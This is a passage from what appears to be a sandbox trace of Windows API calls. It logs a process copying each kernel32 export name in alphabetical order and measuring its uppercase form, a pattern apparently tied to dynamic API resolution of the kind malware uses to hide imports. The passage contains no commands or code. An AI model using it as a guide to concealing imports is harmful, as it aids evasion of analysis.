lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0133.550] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0133.550] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0133.550] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0133.550] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0133.550] lstrlenA (lpString="BACKUPREAD") returned 10 [0133.550] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0133.550] lstrlenA (lpString="BACKUPSEEK") returned 10 [0133.550] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0133.550] lstrlenA (lpString="BACKUPWRITE") returned 11 [0133.550] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0133.550] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0133.550] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0133.550] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0133.550] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0133.550] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0133.550] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0133.550] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0133.550] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0133.550] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0133.550] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0133.551] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0133.551] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0133.551] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0133.551] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0133.551] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0133.551] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0133.551] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0133.551] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0133.551] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0133.551] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0133.551] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0133.551] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0133.551] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0133.551] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0133.551] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0133.551] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0133.551] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0133.551] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0133.551] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0133.551] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0133.551] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0133.551] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0133.551] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0133.551] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0133.551] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0133.551] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0133.551] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0133.551] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0133.551] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0133.551] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0133.551] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0133.551] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0133.551] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0133.551] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0133.551] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0133.551] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0133.552] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0133.552] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0133.552] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0133.552] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0133.552] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0133.552] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0133.552] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0133.552] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0133.552] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0133.552] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0133.552] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0133.552] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0133.552] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0133.552] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0133.552] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0133.552] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0133.552] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0133.552] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0133.552] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0133.552] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0133.552] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0133.552] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0133.552] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0133.552] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0133.552] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0133.552] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0133.552] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0133.552] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0133.552] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0133.552] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0133.552] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0133.552] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0133.552] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0133.552] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0133.552] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0133.552] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0133.552] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0133.553] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0133.553] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0133.553] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0133.553] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0133.553] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0133.553] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0133.553] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0133.553] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0133.553] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0133.553] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0133.553] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0133.553] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0133.553] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0133.553] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0133.553] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0133.553] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0133.553] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0133.553] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0133.553] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0133.553] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0133.553] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0133.553] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0133.553] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0133.553] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0133.553] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0133.553] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0133.553] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0133.553] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0133.553] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0133.553] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0133.553] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0133.553] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0133.553] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0133.553] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0133.553] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0133.553] lstrlenA (lpString="BEEP") returned 4 [0133.553] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0133.554] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0133.554] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0133.554] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0133.554] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0133.554] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0133.554] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0133.554] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0133.554] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0133.554] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0133.554] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0133.554] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0133.554] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0133.554] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0133.554] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0133.554] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0133.554] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0133.554] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0133.554] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0133.554] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0133.554] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0133.554] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0133.554] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0133.554] lstrlenA (lpString="CANCELIO") returned 8 [0133.554] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0133.554] lstrlenA (lpString="CANCELIOEX") returned 10 [0133.554] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0133.554] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0133.554] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0133.554] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0133.554] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0133.554] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0133.554] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0133.554] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0133.554] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0133.554] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0133.554] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0133.555] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0133.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0133.555] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0133.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0133.555] lstrlenA (lpString="CHECKELEVATION") returned 14 [0133.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0133.555] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0133.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0133.555] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0133.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0133.555] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0133.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0133.555] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0133.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0133.555] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0133.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0133.555] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0133.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0133.555] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0133.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0133.555] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0133.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0133.555] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0133.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0133.555] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0133.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0133.555] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0133.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0133.555] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0133.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0133.555] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0133.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0133.555] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0133.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0133.555] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0133.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0133.555] lstrlenA (lpString="CLOSESTATE") returned 10 [0133.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0133.555] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0133.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0133.555] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0133.555] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0133.556] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0133.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0133.556] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0133.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0133.556] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0133.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0133.556] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0133.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0133.556] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0133.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0133.556] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0133.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0133.556] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0133.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0133.556] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0133.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0133.556] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0133.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0133.556] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0133.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0133.556] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0133.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0133.556] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0133.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0133.556] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0133.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0133.556] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0133.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: 